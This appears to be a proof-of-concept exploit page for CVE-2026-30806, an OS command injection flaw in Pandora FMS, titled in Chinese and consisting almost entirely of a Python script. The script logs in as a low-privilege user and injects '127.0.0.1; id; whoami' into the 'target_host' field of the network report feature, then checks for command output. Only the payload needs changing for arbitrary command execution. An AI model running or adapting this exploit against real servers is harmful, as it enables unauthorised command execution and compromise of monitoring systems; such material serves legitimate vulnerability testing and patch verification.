CVE-2026-30806 Pandora FMS OS命令注入漏洞

import requests # Target configuration target_url = "http://target-ip/pandora_console/index.php" username = "low_priv_user" password = "password" # Create a session to handle cookies session = requests.Session() # 1. Authenticate with low privileges (PR:L) login_payload = { "nick": username, "pass": password, "login_button": "Login" } print("[+] Attempting login...") login_response = session.post(target_url + "?page=login&login=1", data=login_payload) if login_response.status_code == 200: print("[+] Login successful.") # 2. Prepare the malicious payload for OS Command Injection via Network Report # The payload attempts to execute 'id' and 'whoami' commands injection_payload = "127.0.0.1; id; whoami" # 3. Send request to the vulnerable endpoint (Network Report feature) exploit_data = { "action": "generate_report", "type": "network", "target_host": injection_payload # Vulnerable parameter } print("[+] Sending exploit payload...") exploit_response = session.post(target_url + "?page=reporting&sec2=operation/reporting/network", data=exploit_data) # 4. Check output if "uid=" in exploit_response.text: print("[!] Exploit successful! Command injection detected.") print("Response snippet:", exploit_response.text[:500]) else: print("[-] Exploit failed or output not visible in response.") else: print("[-] Login failed.")